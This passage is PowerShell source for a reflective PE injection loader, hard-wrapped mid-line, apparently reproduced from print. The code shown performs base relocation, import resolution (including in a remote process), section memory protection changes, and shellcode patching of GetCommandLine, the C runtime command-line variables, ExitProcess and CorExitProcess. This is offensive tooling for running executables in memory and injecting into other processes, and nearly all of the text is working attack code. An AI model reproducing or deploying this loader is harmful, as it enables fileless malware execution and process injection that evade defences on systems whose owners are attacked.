        [System.Object]
        $PEInfo,
```

```
        [Parameter(Position = 1, Mandatory = $true)]
        [Int64]
        $OriginalImageBase,

        [Parameter(Position = 2, Mandatory = $true)]
        [System.Object]
        $Win32Constants,

        [Parameter(Position = 3, Mandatory = $true)]
        [System.Object]
        $Win32Types
        )

        [Int64]$BaseDifference = 0
        $AddDifference = $true #Track if the difference va
riable should be added or subtracted from variables
        [UInt32]$ImageBaseRelocSize = [System.Runtime.Inte
ropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_
RELOCATION)

        #If the PE was loaded to its expected address or t
here are no entries in the BaseRelocationTable, nothing to
do
        if (($OriginalImageBase -eq [Int64]$PEInfo.Effecti
vePEHandle) `
                -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHead
er.BaseRelocationTable.Size -eq 0))
        {
            return
        }


        elseif ((Compare-Val1GreaterThanVal2AsUInt ($Origi
nalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true)
        {
            $BaseDifference = Sub-SignedIntAsUnsigned ($Or
```

```
iginalImageBase) ($PEInfo.EffectivePEHandle)
            $AddDifference = $false
        }
        elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInf
o.EffectivePEHandle) ($OriginalImageBase)) -eq $true)
        {
            $BaseDifference = Sub-SignedIntAsUnsigned ($PE
Info.EffectivePEHandle) ($OriginalImageBase)
        }

        #Use the IMAGE_BASE_RELOCATION structure to find m
emory addresses which need to be modified
        [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUn
signed ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_
HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddres
s))
        while($true)
        {
            #If SizeOfBlock == 0, we are done
            $BaseRelocationTable = [System.Runtime.Interop
Services.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Wi
n32Types.IMAGE_BASE_RELOCATION)

            if ($BaseRelocationTable.SizeOfBlock -eq 0)
            {
                break
            }

            [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntA
sUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocatio
nTable.VirtualAddress))
            $NumRelocations = ($BaseRelocationTable.SizeOf
Block - $ImageBaseRelocSize) / 2

            #Loop through each relocation
            for($i = 0; $i -lt $NumRelocations; $i++)
```

```
            {
                #Get info for this relocation
                $RelocationInfoPtr = [IntPtr](Add-SignedIn
tAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelo
cSize + (2 * $i)))
                [UInt16]$RelocationInfo = [System.Runtime.
InteropServices.Marshal]::PtrToStructure($RelocationInfoPt
r, [Type][UInt16])

                #First 4 bits is the relocation type, last
12 bits is the address offset from $MemAddrBase
                [UInt16]$RelocOffset = $RelocationInfo -ba
nd 0x0FFF
                [UInt16]$RelocType = $RelocationInfo -band
0xF000
                for ($j = 0; $j -lt 12; $j++)
                {
                    $RelocType = [Math]::Floor($RelocType
/ 2)
                }

                #For DLL's there are two types of relocati
ons used according to the following MSDN article. One for
64bit and one for 32bit.
                #This appears to be true for EXE's as wel
l.
                #   Site: http://msdn.microsoft.com/en-us/
magazine/cc301808.aspx
                if (($RelocType -eq $Win32Constants.IMAGE_
REL_BASED_HIGHLOW) `
                        -or ($RelocType -eq $Win32Constant
s.IMAGE_REL_BASED_DIR64))
                {
                    #Get the current memory address and up
date it based off the difference between PE expected base
address and actual base address
```

```
                    [IntPtr]$FinalAddr = [IntPtr](Add-Sign
edIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffse
t))
                    [IntPtr]$CurrAddr = [System.Runtime.In
teropServices.Marshal]::PtrToStructure($FinalAddr, [Type]
[IntPtr])

                    if ($AddDifference -eq $true)
                    {
                        [IntPtr]$CurrAddr = [IntPtr](Add-S
ignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
                    }
                    else
                    {
                        [IntPtr]$CurrAddr = [IntPtr](Sub-S
ignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
                    }

                    [System.Runtime.InteropServices.Marsha
l]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Nu
ll
                }
                elseif ($RelocType -ne $Win32Constants.IMA
GE_REL_BASED_ABSOLUTE)
                {
                    #IMAGE_REL_BASED_ABSOLUTE is just used
for padding, we don't actually do anything with it
                    Throw "Unknown relocation found, reloc
ation value: $RelocType, relocationinfo: $RelocationInfo"
                }
            }

            $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsign
ed ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.Siz
eOfBlock))
        }
```

```
    }


    Function Import-DllImports
    {
        Param(
        [Parameter(Position = 0, Mandatory = $true)]
        [System.Object]
        $PEInfo,

        [Parameter(Position = 1, Mandatory = $true)]
        [System.Object]
        $Win32Functions,

        [Parameter(Position = 2, Mandatory = $true)]
        [System.Object]
        $Win32Types,

        [Parameter(Position = 3, Mandatory = $true)]
        [System.Object]
        $Win32Constants,

        [Parameter(Position = 4, Mandatory = $false)]
        [IntPtr]
        $RemoteProcHandle
        )

        $RemoteLoading = $false
        if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandl
e)
        {
            $RemoteLoading = $true
        }

        if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.Import
Table.Size -gt 0)
```

```
        {
            [IntPtr]$ImportDescriptorPtr = Add-SignedIntAs
Unsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_N
T_HEADERS.OptionalHeader.ImportTable.VirtualAddress)

            while ($true)
            {
                $ImportDescriptor = [System.Runtime.Intero
pServices.Marshal]::PtrToStructure($ImportDescriptorPtr,
[Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)

                #If the structure is null, it signals that
this is the end of the array
                if ($ImportDescriptor.Characteristics -eq
0 `
                        -and $ImportDescriptor.FirstThunk
-eq 0 `
                        -and $ImportDescriptor.ForwarderCh
ain -eq 0 `
                        -and $ImportDescriptor.Name -eq 0
`
                        -and $ImportDescriptor.TimeDateSta
mp -eq 0)
                {
                    Write-Verbose "Done importing DLL impo
rts"
                    break
                }

                $ImportDllHandle = [IntPtr]::Zero
                $ImportDllPathPtr = (Add-SignedIntAsUnsign
ed ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Nam
e))
                $ImportDllPath = [System.Runtime.InteropSe
rvices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)
```

```
                if ($RemoteLoading -eq $true)
                {
                    $ImportDllHandle = Import-DllInRemoteP
rocess -RemoteProcHandle $RemoteProcHandle -ImportDllPathP
tr $ImportDllPathPtr
                }
                else
                {
                    $ImportDllHandle = $Win32Functions.Loa
dLibrary.Invoke($ImportDllPath)
                }

                if (($ImportDllHandle -eq $null) -or ($Imp
ortDllHandle -eq [IntPtr]::Zero))
                {
                    throw "Error importing DLL, DLLName:
$ImportDllPath"
                }

                #Get the first thunk, then loop through al
l of them
                [IntPtr]$ThunkRef = Add-SignedIntAsUnsigne
d ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk)
                [IntPtr]$OriginalThunkRef = Add-SignedIntA
sUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteri
stics) #Characteristics is overloaded with OriginalFirstTh
unk
                [IntPtr]$OriginalThunkRefVal = [System.Run
time.InteropServices.Marshal]::PtrToStructure($OriginalThu
nkRef, [Type][IntPtr])

                while ($OriginalThunkRefVal -ne [IntPtr]::
Zero)
                {
                    $LoadByOrdinal = $false
                    [IntPtr]$ProcedureNamePtr = [IntPtr]::
```

```
Zero
                    #Compare thunkRefVal to IMAGE_ORDINAL_
FLAG, which is defined as 0x80000000 or 0x8000000000000000
depending on 32bit or 64bit
                    #   If the top bit is set on an int, i
t will be negative, so instead of worrying about casting t
his to uint
                    #   and doing the comparison, just see
if it is less than 0
                    [IntPtr]$NewThunkRef = [IntPtr]::Zero
                    if([System.Runtime.InteropServices.Mar
shal]::SizeOf([Type][IntPtr]) -eq 4 -and [Int32]$OriginalT
hunkRefVal -lt 0)
                    {
                        [IntPtr]$ProcedureNamePtr = [IntPt
r]$OriginalThunkRefVal -band 0xffff #This is actually a lo
okup by ordinal
                        $LoadByOrdinal = $true
                    }
                    elseif([System.Runtime.InteropService
s.Marshal]::SizeOf([Type][IntPtr]) -eq 8 -and [Int64]$Orig
inalThunkRefVal -lt 0)
                    {
                        [IntPtr]$ProcedureNamePtr = [Int6
4]$OriginalThunkRefVal -band 0xffff #This is actually a lo
okup by ordinal
                        $LoadByOrdinal = $true
                    }
                    else
                    {
                        [IntPtr]$StringAddr = Add-SignedIn
tAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal)
                        $StringAddr = Add-SignedIntAsUnsig
ned $StringAddr ([System.Runtime.InteropServices.Marsha
l]::SizeOf([Type][UInt16]))
                        $ProcedureName = [System.Runtime.I
```

```
nteropServices.Marshal]::PtrToStringAnsi($StringAddr)
                        $ProcedureNamePtr = [System.Runtim
e.InteropServices.Marshal]::StringToHGlobalAnsi($Procedure
Name)
                    }

                    if ($RemoteLoading -eq $true)
                    {
                        [IntPtr]$NewThunkRef = Get-RemoteP
rocAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllH
andle $ImportDllHandle -FunctionNamePtr $ProcedureNamePtr
-LoadByOrdinal $LoadByOrdinal
                    }
                    else
                    {
                        [IntPtr]$NewThunkRef = $Win32Funct
ions.GetProcAddressIntPtr.Invoke($ImportDllHandle, $Proced
ureNamePtr)
                    }

                    if ($NewThunkRef -eq $null -or $NewThu
nkRef -eq [IntPtr]::Zero)
                    {
                        if ($LoadByOrdinal)
                        {
                            Throw "New function reference
is null, this is almost certainly a bug in this script. Fu
nction Ordinal: $ProcedureNamePtr. Dll: $ImportDllPath"
                        }
                        else
                        {
                            Throw "New function reference
is null, this is almost certainly a bug in this script. Fu
nction: $ProcedureName. Dll: $ImportDllPath"
                        }
                    }
```

```
                    [System.Runtime.InteropServices.Marsha
l]::StructureToPtr($NewThunkRef, $ThunkRef, $false)

                    $ThunkRef = Add-SignedIntAsUnsigned
([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marsha
l]::SizeOf([Type][IntPtr]))
                    [IntPtr]$OriginalThunkRef = Add-Signed
IntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.
InteropServices.Marshal]::SizeOf([Type][IntPtr]))
                    [IntPtr]$OriginalThunkRefVal = [Syste
m.Runtime.InteropServices.Marshal]::PtrToStructure($Origin
alThunkRef, [Type][IntPtr])

                    #Cleanup
                    #If loading by ordinal, ProcedureNameP
tr is the ordinal value and not actually a pointer to a bu
ffer that needs to be freed
                    if ((-not $LoadByOrdinal) -and ($Proce
dureNamePtr -ne [IntPtr]::Zero))
                    {
                        [System.Runtime.InteropServices.Ma
rshal]::FreeHGlobal($ProcedureNamePtr)
                        $ProcedureNamePtr = [IntPtr]::Zero
                    }
                }

                $ImportDescriptorPtr = Add-SignedIntAsUnsi
gned ($ImportDescriptorPtr) ([System.Runtime.InteropServic
es.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIP
TOR))
            }
        }
    }

    Function Get-VirtualProtectValue
```

```
    {
        Param(
        [Parameter(Position = 0, Mandatory = $true)]
        [UInt32]
        $SectionCharacteristics
        )

        $ProtectionFlag = 0x0
        if (($SectionCharacteristics -band $Win32Constant
s.IMAGE_SCN_MEM_EXECUTE) -gt 0)
        {
            if (($SectionCharacteristics -band $Win32Const
ants.IMAGE_SCN_MEM_READ) -gt 0)
            {
                if (($SectionCharacteristics -band $Win32C
onstants.IMAGE_SCN_MEM_WRITE) -gt 0)
                {
                    $ProtectionFlag = $Win32Constants.PAGE
_EXECUTE_READWRITE
                }
                else
                {
                    $ProtectionFlag = $Win32Constants.PAGE
_EXECUTE_READ
                }
            }
            else
            {
                if (($SectionCharacteristics -band $Win32C
onstants.IMAGE_SCN_MEM_WRITE) -gt 0)
                {
                    $ProtectionFlag = $Win32Constants.PAGE
_EXECUTE_WRITECOPY
                }
                else
                {
```

```
                    $ProtectionFlag = $Win32Constants.PAGE
_EXECUTE
                }
            }
        }
        else
        {
            if (($SectionCharacteristics -band $Win32Const
ants.IMAGE_SCN_MEM_READ) -gt 0)
            {
                if (($SectionCharacteristics -band $Win32C
onstants.IMAGE_SCN_MEM_WRITE) -gt 0)
                {
                    $ProtectionFlag = $Win32Constants.PAGE
_READWRITE
                }
                else
                {
                    $ProtectionFlag = $Win32Constants.PAGE
_READONLY
                }
            }
            else
            {
                if (($SectionCharacteristics -band $Win32C
onstants.IMAGE_SCN_MEM_WRITE) -gt 0)
                {
                    $ProtectionFlag = $Win32Constants.PAGE
_WRITECOPY
                }
                else
                {
                    $ProtectionFlag = $Win32Constants.PAGE
_NOACCESS
                }
            }
```

```
        }

        if (($SectionCharacteristics -band $Win32Constant
s.IMAGE_SCN_MEM_NOT_CACHED) -gt 0)
        {
            $ProtectionFlag = $ProtectionFlag -bor $Win32C
onstants.PAGE_NOCACHE
        }

        return $ProtectionFlag
    }

    Function Update-MemoryProtectionFlags
    {
        Param(
        [Parameter(Position = 0, Mandatory = $true)]
        [System.Object]
        $PEInfo,

        [Parameter(Position = 1, Mandatory = $true)]
        [System.Object]
        $Win32Functions,

        [Parameter(Position = 2, Mandatory = $true)]
        [System.Object]
        $Win32Constants,

        [Parameter(Position = 3, Mandatory = $true)]
        [System.Object]
        $Win32Types
        )

        for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileH
eader.NumberOfSections; $i++)
        {
            [IntPtr]$SectionHeaderPtr = [IntPtr](Add-Signe
```

```
dIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [Sy
stem.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32
Types.IMAGE_SECTION_HEADER)))
            $SectionHeader = [System.Runtime.InteropServic
es.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win3
2Types.IMAGE_SECTION_HEADER)
            [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned
($PEInfo.PEHandle) ($SectionHeader.VirtualAddress)

            [UInt32]$ProtectFlag = Get-VirtualProtectValue
$SectionHeader.Characteristics
            [UInt32]$SectionSize = $SectionHeader.VirtualS
ize

            [UInt32]$OldProtectFlag = 0
            Test-MemoryRangeValid -DebugString "Update-Mem
oryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -Start
Address $SectionPtr -Size $SectionSize | Out-Null
            $Success = $Win32Functions.VirtualProtect.Invo
ke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProte
ctFlag)
            if ($Success -eq $false)
            {
                Throw "Unable to change memory protection"
            }
        }
    }

    #This function overwrites GetCommandLine and ExitThrea
d which are needed to reflectively load an EXE
    #Returns an object with addresses to copies of the byt
es that were overwritten (and the count)
    Function Update-ExeFunctions
    {
        Param(
        [Parameter(Position = 0, Mandatory = $true)]
```

```
        [System.Object]
        $PEInfo,

        [Parameter(Position = 1, Mandatory = $true)]
        [System.Object]
        $Win32Functions,

        [Parameter(Position = 2, Mandatory = $true)]
        [System.Object]
        $Win32Constants,

        [Parameter(Position = 3, Mandatory = $true)]
        [String]
        $ExeArguments,

        [Parameter(Position = 4, Mandatory = $true)]
        [IntPtr]
        $ExeDoneBytePtr
        )

        #This will be an array of arrays. The inner array
will consist of: @($DestAddr, $SourceAddr, $ByteCount). Th
is is used to return memory to its original state.
        $ReturnArray = @()

        $PtrSize = [System.Runtime.InteropServices.Marsha
l]::SizeOf([Type][IntPtr])
        [UInt32]$OldProtectFlag = 0

        [IntPtr]$Kernel32Handle = $Win32Functions.GetModul
eHandle.Invoke("Kernel32.dll")
        if ($Kernel32Handle -eq [IntPtr]::Zero)
        {
            throw "Kernel32 handle null"
        }
```

```
        [IntPtr]$KernelBaseHandle = $Win32Functions.GetMod
uleHandle.Invoke("KernelBase.dll")
        if ($KernelBaseHandle -eq [IntPtr]::Zero)
        {
            throw "KernelBase handle null"
        }

        ##################################################
        #First overwrite the GetCommandLine() function. Th
is is the function that is called by a new process to get
the command line args used to start it.
        #   We overwrite it with shellcode to return a poi
nter to the string ExeArguments, allowing us to pass the e
xe any args we want.
        $CmdLineWArgsPtr = [System.Runtime.InteropService
s.Marshal]::StringToHGlobalUni($ExeArguments)
        $CmdLineAArgsPtr = [System.Runtime.InteropService
s.Marshal]::StringToHGlobalAnsi($ExeArguments)

        [IntPtr]$GetCommandLineAAddr = $Win32Functions.Get
ProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA")
        [IntPtr]$GetCommandLineWAddr = $Win32Functions.Get
ProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW")

        if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $G
etCommandLineWAddr -eq [IntPtr]::Zero)
        {
            throw "GetCommandLine ptr null. GetCommandLine
A: $(Get-Hex $GetCommandLineAAddr). GetCommandLineW: $(Get
-Hex $GetCommandLineWAddr)"
        }

        #Prepare the shellcode
        [Byte[]]$Shellcode1 = @()
        if ($PtrSize -eq 8)
        {
```

```
            $Shellcode1 += 0x48 #64bit shellcode has the 0
x48 before the 0xb8
        }
        $Shellcode1 += 0xb8

        [Byte[]]$Shellcode2 = @(0xc3)
        $TotalSize = $Shellcode1.Length + $PtrSize + $Shel
lcode2.Length

        #Make copy of GetCommandLineA and GetCommandLineW
        $GetCommandLineAOrigBytesPtr = [System.Runtime.Int
eropServices.Marshal]::AllocHGlobal($TotalSize)
        $GetCommandLineWOrigBytesPtr = [System.Runtime.Int
eropServices.Marshal]::AllocHGlobal($TotalSize)
        $Win32Functions.memcpy.Invoke($GetCommandLineAOrig
BytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-
Null
        $Win32Functions.memcpy.Invoke($GetCommandLineWOrig
BytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-
Null
        $ReturnArray += ,($GetCommandLineAAddr, $GetComman
dLineAOrigBytesPtr, $TotalSize)
        $ReturnArray += ,($GetCommandLineWAddr, $GetComman
dLineWOrigBytesPtr, $TotalSize)

        #Overwrite GetCommandLineA
        [UInt32]$OldProtectFlag = 0
        $Success = $Win32Functions.VirtualProtect.Invoke
($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32
Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
        if ($Success = $false)
        {
            throw "Call to VirtualProtect failed"
        }

        $GetCommandLineAAddrTemp = $GetCommandLineAAddr
```

```
        Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddr
ess $GetCommandLineAAddrTemp
        $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned
$GetCommandLineAAddrTemp ($Shellcode1.Length)
        [System.Runtime.InteropServices.Marshal]::Structur
eToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false)
        $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned
$GetCommandLineAAddrTemp $PtrSize
        Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddr
ess $GetCommandLineAAddrTemp

        $Win32Functions.VirtualProtect.Invoke($GetCommandL
ineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Re
f]$OldProtectFlag) | Out-Null


        #Overwrite GetCommandLineW
        [UInt32]$OldProtectFlag = 0
        $Success = $Win32Functions.VirtualProtect.Invoke
($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32
Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
        if ($Success = $false)
        {
            throw "Call to VirtualProtect failed"
        }

        $GetCommandLineWAddrTemp = $GetCommandLineWAddr
        Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddr
ess $GetCommandLineWAddrTemp
        $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned
$GetCommandLineWAddrTemp ($Shellcode1.Length)
        [System.Runtime.InteropServices.Marshal]::Structur
eToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false)
        $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned
$GetCommandLineWAddrTemp $PtrSize
        Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddr
```

```
ess $GetCommandLineWAddrTemp

        $Win32Functions.VirtualProtect.Invoke($GetCommandL
ineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Re
f]$OldProtectFlag) | Out-Null
        ################################################

        ################################################
        #For C++ stuff that is compiled with visual studio
as "multithreaded DLL", the above method of overwriting Ge
tCommandLine doesn't work.
        #   I don't know why exactly.. But the msvcr DLL t
hat a "DLL compiled executable" imports has an export call
ed _acmdln and _wcmdln.
        #   It appears to call GetCommandLine and store th
e result in this var. Then when you call __wgetcmdln it pa
rses and returns the
        #   argv and argc values stored in these variable
s. So the easy thing to do is just overwrite the variable
since they are exported.
        $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvc
r80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dl
l", "msvcr70.dll" `
            , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll",
"msvcr100.dll", "msvcr110.dll")

        foreach ($Dll in $DllList)
        {
            [IntPtr]$DllHandle = $Win32Functions.GetModule
Handle.Invoke($Dll)
            if ($DllHandle -ne [IntPtr]::Zero)
            {
                [IntPtr]$WCmdLnAddr = $Win32Functions.GetP
rocAddress.Invoke($DllHandle, "_wcmdln")
                [IntPtr]$ACmdLnAddr = $Win32Functions.GetP
rocAddress.Invoke($DllHandle, "_acmdln")
```

```
                if ($WCmdLnAddr -eq [IntPtr]::Zero -or $AC
mdLnAddr -eq [IntPtr]::Zero)
                {
                    "Error, couldn't find _wcmdln or _acmd
ln"
                }

                $NewACmdLnPtr = [System.Runtime.InteropSer
vices.Marshal]::StringToHGlobalAnsi($ExeArguments)
                $NewWCmdLnPtr = [System.Runtime.InteropSer
vices.Marshal]::StringToHGlobalUni($ExeArguments)

                #Make a copy of the original char* and wch
ar_t* so these variables can be returned back to their ori
ginal state
                $OrigACmdLnPtr = [System.Runtime.InteropSe
rvices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPt
r])
                $OrigWCmdLnPtr = [System.Runtime.InteropSe
rvices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPt
r])
                $OrigACmdLnPtrStorage = [System.Runtime.In
teropServices.Marshal]::AllocHGlobal($PtrSize)
                $OrigWCmdLnPtrStorage = [System.Runtime.In
teropServices.Marshal]::AllocHGlobal($PtrSize)
                [System.Runtime.InteropServices.Marshal]::
StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $fal
se)
                [System.Runtime.InteropServices.Marshal]::
StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $fal
se)
                $ReturnArray += ,($ACmdLnAddr, $OrigACmdLn
PtrStorage, $PtrSize)
                $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLn
PtrStorage, $PtrSize)
```

```
                $Success = $Win32Functions.VirtualProtect.
Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Const
ants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
                if ($Success = $false)
                {
                    throw "Call to VirtualProtect failed"
                }
                [System.Runtime.InteropServices.Marshal]::
StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false)
                $Win32Functions.VirtualProtect.Invoke($ACm
dLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Re
f]$OldProtectFlag) | Out-Null

                $Success = $Win32Functions.VirtualProtect.
Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Const
ants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
                if ($Success = $false)
                {
                    throw "Call to VirtualProtect failed"
                }
                [System.Runtime.InteropServices.Marshal]::
StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false)
                $Win32Functions.VirtualProtect.Invoke($WCm
dLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Re
f]$OldProtectFlag) | Out-Null
            }
        }
        ####################################################

        ####################################################
        #Next overwrite CorExitProcess and ExitProcess to
instead ExitThread. This way the entire Powershell process
doesn't die when the EXE exits.

        $ReturnArray = @()
        $ExitFunctions = @() #Array of functions to overwr
```

```
ite so the thread doesn't exit the process

        #CorExitProcess (compiled in to visual studio c++)
        [IntPtr]$MscoreeHandle = $Win32Functions.GetModule
Handle.Invoke("mscoree.dll")
        if ($MscoreeHandle -eq [IntPtr]::Zero)
        {
            throw "mscoree handle null"
        }
        [IntPtr]$CorExitProcessAddr = $Win32Functions.GetP
rocAddress.Invoke($MscoreeHandle, "CorExitProcess")
        if ($CorExitProcessAddr -eq [IntPtr]::Zero)
        {
            Throw "CorExitProcess address not found"
        }
        $ExitFunctions += $CorExitProcessAddr

        #ExitProcess (what non-managed programs use)
        [IntPtr]$ExitProcessAddr = $Win32Functions.GetProc
Address.Invoke($Kernel32Handle, "ExitProcess")
        if ($ExitProcessAddr -eq [IntPtr]::Zero)
        {
            Throw "ExitProcess address not found"
        }
        $ExitFunctions += $ExitProcessAddr

        [UInt32]$OldProtectFlag = 0
        foreach ($ProcExitFunctionAddr in $ExitFunctions)
        {
            $ProcExitFunctionAddrTmp = $ProcExitFunctionAd
dr
            #The following is the shellcode (Shellcode: Ex
itThread.asm):
            #32bit shellcode
            [Byte[]]$Shellcode1 = @(0xbb)
            [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x8
```

```
3, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb)
            #64bit shellcode (Shellcode: ExitThread.asm)
            if ($PtrSize -eq 8)
            {
                [Byte[]]$Shellcode1 = @(0x48, 0xbb)
                [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01,
0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb
b)
            }
            [Byte[]]$Shellcode3 = @(0xff, 0xd3)
            $TotalSize = $Shellcode1.Length + $PtrSize +
$Shellcode2.Length + $PtrSize + $Shellcode3.Length

            [IntPtr]$ExitThreadAddr = $Win32Functions.GetP
rocAddress.Invoke($Kernel32Handle, "ExitThread")
            if ($ExitThreadAddr -eq [IntPtr]::Zero)
            {
                Throw "ExitThread address not found"
            }

            $Success = $Win32Functions.VirtualProtect.Invo
ke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win
32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag)
            if ($Success -eq $false)
            {
                Throw "Call to VirtualProtect failed"
            }

            #Make copy of original ExitProcess bytes
            $ExitProcessOrigBytesPtr = [System.Runtime.Int
eropServices.Marshal]::AllocHGlobal($TotalSize)
            $Win32Functions.memcpy.Invoke($ExitProcessOrig
BytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out
-Null
            $ReturnArray += ,($ProcExitFunctionAddr, $Exit
ProcessOrigBytesPtr, $TotalSize)
```

```
            #Write the ExitThread shellcode to memory. Thi
s shellcode will write 0x01 to ExeDoneBytePtr address (so
PS knows the EXE is done), then
            #   call ExitThread
            Write-BytesToMemory -Bytes $Shellcode1 -Memory
Address $ProcExitFunctionAddrTmp
            $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsi
gned $ProcExitFunctionAddrTmp ($Shellcode1.Length)
            [System.Runtime.InteropServices.Marshal]::Stru
ctureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $fal
se)
            $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsi
gned $ProcExitFunctionAddrTmp $PtrSize
            Write-BytesToMemory -Bytes $Shellcode2 -Memory
Address $ProcExitFunctionAddrTmp
            $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsi
gned $ProcExitFunctionAddrTmp ($Shellcode2.Length)
            [System.Runtime.InteropServices.Marshal]::Stru
ctureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $fal
se)
            $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsi
gned $ProcExitFunctionAddrTmp $PtrSize
            Write-BytesToMemory -Bytes $Shellcode3 -Memory
Address $ProcExitFunctionAddrTmp

            $Win32Functions.VirtualProtect.Invoke($ProcExi
tFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFla
g, [Ref]$OldProtectFlag) | Out-Null
        }
        ################################################

        Write-Output $ReturnArray
    }

    #This function takes an array of arrays, the inner arr
```

```
ay of format @($DestAddr, $SourceAddr, $Count)
    #   It copies Count bytes from Source to Destination.
    Function Copy-ArrayOfMemAddresses
    {
        Param(
        [Parameter(Position = 0, Mandatory = $true)]
        [Array[]]
        $CopyInfo,

        [Parameter(Position = 1, Mandatory = $true)]
        [System.Object]
        $Win32Functions,

        [Parameter(Position = 2, Mandatory = $true)]
        [System.Object]
        $Win32Constants
        )

        [UInt32]$OldProtectFlag = 0
        foreach ($Info in $CopyInfo)
        {
            $Success = $Win32Functions.VirtualProtect.Invo
ke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAG
E_EXECUTE_READWRITE, [Ref]$OldProtectFlag)
            if ($Success -eq $false)
            {
                Throw "Call to VirtualProtect failed"
            }

            $Win32Functions.memcpy.Invoke($Info[0], $Info
[1], [UInt64]$Info[2]) | Out-Null

            $Win32Functions.VirtualProtect.Invoke($Info
[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldP
rotectFlag) | Out-Null
        }
```

```
    }


    ########################################
    ##########    FUNCTIONS   ############
    ########################################
    Function Get-MemoryProcAddress
    {
        Param(
        [Parameter(Position = 0, Mandatory = $true)]
        [IntPtr]
        $PEHandle,

        [Parameter(Position = 1, Mandatory = $true)]
        [String]
        $FunctionName
        )

        $Win32Types = Get-Win32Types
        $Win32Constants = Get-Win32Constants
